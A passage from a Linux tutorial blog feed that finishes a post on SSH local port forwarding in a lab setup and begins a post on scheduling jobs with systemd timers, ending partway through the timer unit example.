xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And there we go, the tunnel works. The traffic was forwarded from our local port 8080 to the webserver&#8217;s port 80 via the SSH connection, <strong>bypassing the firewall restrictions</strong>.</p><h2><strong>Understanding the Two &#8220;localhost&#8221; Values</strong></h2><p>Before we move forward, there&#8217;s one point I really need to stress. A lot of people get confused about the <strong>two localhost values</strong> in the ssh -L command. So let&#8217;s clear that up properly.</p><p>The <strong>first localhost:8080</strong> refers to your <strong>local machine</strong>, the client where you are running the SSH command. This is the port you are opening on your own computer. You can even simplify it and write just <code>8080</code> instead of <code>localhost:8080</code>:</p><pre><code><code>$ ssh -N -L 8080:localhost:80 vagrant@webserver</code></code></pre><p>It works the same way. When you don&#8217;t specify an address for the local bind, SSH automatically uses the <strong>loopback interface</strong> (localhost). This is because, by default, SSH local port forwarding listens only on the client&#8217;s loopback interface (127.0.0.1), so including localhost is optional. To bind to another interface on the client, you must explicitly specify its IP or use option <strong>-g</strong>. This is useful if you want other machines to access the forwarded port on your laptop.</p><p>For example, I will terminate the previous tunnel by pressint CTRL+C and run the following:</p><pre><code><code>$ ssh -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xO7J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xO7J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 424w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 848w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 1272w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xO7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png" width="907" height="254" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:254,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37831,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xO7J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 424w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 848w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 1272w, https://substackcdn.com/image/fetch/$s_!xO7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad099795-6098-4e91-b731-7fcca30c0fc5_907x254.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This will allow other machines on the same network to access port 8080 on your laptop (client). And the traffic will still be forwarded to the webserver&#8217;s port 80 via the SSH tunnel. Let&#8217;s test that using my host machine:</p><pre><code><code>$ curl http://192.168.60.10:8080</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Qo-S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Qo-S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 424w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 848w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 1272w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Qo-S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png" width="905" height="404" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dbaa16d3-0209-463c-acfd-740c485d797e_905x404.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52865,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Qo-S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 424w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 848w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 1272w, https://substackcdn.com/image/fetch/$s_!Qo-S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbaa16d3-0209-463c-acfd-740c485d797e_905x404.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>And it works! The traffic is successfully forwarded through the SSH tunnel.</p><p>The <strong>second localhost:80</strong> refers to the <strong>target (destination) machine</strong> from the perspective of the SSH server. In this case, the SSH server is the <strong>webserver</strong>, so localhost on that side means the <strong>webserver</strong> itself. If the service were running on a different machine behind the SSH server, then you would replace localhost with that machine&#8217;s <strong>hostname</strong> or IP address. You&#8217;ll see exactly how this works when we cover SSH tunneling through a bastion host.</p><h3><strong>Visualizing the Traffic Flow</strong></h3><p>It&#8217;s one thing to run the command and see it work, and another to picture how the traffic actually moves. This diagram breaks the flow down step by step, from the client listening on port 8080, through the SSH tunnel, and finally to the service running on the remote machine.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2Bl9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2Bl9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 424w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 848w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2Bl9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:544195,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2Bl9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 424w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 848w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 1272w, https://substackcdn.com/image/fetch/$s_!2Bl9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a223016-4ef6-4e4d-8a38-b548b76858e5_4500x4501.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Quick Tip</h2><p>When you create an SSH tunnel, the session normally sits in the foreground and keeps your terminal busy. If you don&#8217;t want that, you can send the tunnel straight to the background by adding the <code>-f</code> option:</p><pre><code>$ ssh -f -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver</code></pre><p>The <code>-f</code> flag tells SSH to move itself into the background just before running the command. This is handy when SSH will still prompt for a password or passphrase, but you don&#8217;t want the tunnel occupying your terminal afterward.</p><p>The only difference is how you stop it. When you run a tunnel in the foreground, you can simply press <code>CTRL + C</code> to close it. But once it&#8217;s in the background, you need to terminate the process manually.</p><p>You can find the process ID of the tunnel like this:</p><pre><code>$ lsof -i :8080</code></pre><p>Note the PID from the output, then end the tunnel with:</p><pre><code>kill &lt;PID&gt;</code></pre><p>This cleanly shuts down the background SSH tunnel without affecting anything else.</p><h2>Looking Ahead</h2><p>What we&#8217;ve covered here is only the first piece of what SSH tunnels can do. Local port forwarding gives you a private path into a service behind the SSH server, but there are situations where the direction needs to be reversed.</p><p>In the <a href="https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding">next part </a>of this series, we&#8217;ll look at that opposite pattern, Remote Port Forwarding, and see how it lets a remote machine reach something running on your local system, even if you&#8217;re behind NAT or a firewall.</p><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Scheduling Jobs with Systemd Timers in Linux]]></title><description><![CDATA[Scheduling tasks in Linux can be a lifesaver when you want things done automatically.]]></description><link>https://blog.sysxplore.com/p/scheduling-jobs-with-systemd-timers</link><guid isPermaLink="false">https://blog.sysxplore.com/p/scheduling-jobs-with-systemd-timers</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Thu, 13 Nov 2025 17:02:50 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c2f8da55-4a92-4993-b3f0-b7d273eb8a63_1750x1250.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Scheduling tasks in Linux can be a lifesaver when you want things done automatically. For many, <code>cron</code> is the go-to tool for scheduling, but <code>systemd</code> offers a newer alternative with more flexibility and control: <code>systemd timers</code>. In this guide, you&#8217;ll learn what systemd timers are, how they work, and how to create and manage them.</p><h2>What are Systemd Timers?</h2><p>In Linux, <code>systemd timers</code> provide a way to schedule tasks similar to <code>cron</code> but with more advanced features and integration into the <code>systemd</code> ecosystem. While <code>cron</code> schedules tasks purely on time intervals, <code>systemd timers</code> allow additional conditions like dependencies, service integration, and event-based triggers. This makes <code>systemd timers</code> a powerful tool for managing system tasks efficiently.</p><h3>The Components of Systemd Timers</h3><p>A <code>systemd</code> timer consists of two main parts: a <strong>timer unit</strong> and a <strong>service unit</strong>.</p><ul><li><p><strong>Timer Unit</strong>: This file defines when the task should run. It specifies the timing parameters, such as <code>OnCalendar</code> for calendar-based schedules and <code>OnBootSec</code> for intervals after boot time.</p></li><li><p><strong>Service Unit</strong>: This file defines the actual task that will be executed. It&#8217;s where you specify what the timer is triggering, whether it&#8217;s running a script, restarting a service, or performing a cleanup operation.</p></li></ul><p>These two units work together, with the timer determining the schedule and the service handling the task execution.</p><h2>Why Use Systemd Timers Over Cron?</h2><p>While <code>cron</code> is great for simple, time-based scheduling, <code>systemd timers</code> offer additional features that make them ideal for certain tasks:</p><ul><li><p><strong>Better Integration with Systemd</strong>: <code>systemd timers</code> can interact with other <code>systemd</code> units, making it easier to coordinate tasks with service dependencies.</p></li><li><p><strong>Event-Based Scheduling</strong>: In addition to time-based scheduling, <code>systemd timers</code> support event-based scheduling with directives like <code>OnBootSec</code>, which lets you run tasks a specific time after boot, or <code>OnUnitActiveSec</code>, which schedules tasks relative to other units.</p></li><li><p><strong>Persistent Scheduling</strong>: If a task is missed (for example, due to system downtime), <code>systemd timers</code> can be set to catch up automatically.</p></li></ul><p>The following table shows the differences between systemd timers and cronjobs:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8je_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8je_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 424w, https://substackcdn.com/image/fetch/$s_!8je_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 848w, https://substackcdn.com/image/fetch/$s_!8je_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 1272w, https://substackcdn.com/image/fetch/$s_!8je_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8je_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png" width="1456" height="552" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:552,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:348043,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8je_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 424w, https://substackcdn.com/image/fetch/$s_!8je_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 848w, https://substackcdn.com/image/fetch/$s_!8je_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 1272w, https://substackcdn.com/image/fetch/$s_!8je_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa43a2c08-0399-4293-9788-65f1de370c1e_4500x1706.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Creating a Systemd Timer</h2><p>To demonstrate how systemd timers work, let&#8217;s create a simple example where a timer logs the current date and time to a file every 10 minutes. This is a straightforward way to set up a repeating task and see systemd timers in action.</p><h3>Step 1: Create the Service Unit</h3><p>The service unit defines the actual task. In this example, we&#8217;ll write the current date and time to a log file (<code>/tmp/date</code>).</p><p>Open a new service file in your preferred editor:</p><pre><code><code>$ sudo nano /etc/systemd/system/date.service</code></code></pre><p>Add the following content to specify the task:</p><pre><code><code>[Unit]
Description=Log current date to /tmp/date

[Service]
Type=oneshot
ExecStart=/bin/sh -c &#8216;date &gt;&gt; /tmp/date&#8217;

</code></code></pre><ul><li><p><code>Description</code>: A brief description of what the service does.</p></li></ul><ul><li><p><code>Type=oneshot</code>: Indicates that the task should run once each time it&#8217;s triggered.</p></li><li><p><code>ExecStart</code>: The command to execute. Here, we&#8217;re appending the current date to <code>/tmp/date</code> with each run.</p></li></ul><h3>Step 2: Create the Timer Unit</h3><p>Now, we need a timer unit that schedules when to run <code>date.service</code>.</p><p>Create a new timer file:</p><pre><code><code>$ sudo nano /etc/systemd/system/date.timer</code></code></pre><p>Add the following content to define the timing parameters:</p><pre><code><code>[Unit]
Description=Run date.service every 10 minutes

[Timer]
OnCalendar=*:0/10
Persistent=true

[Install]
WantedBy=timers.target
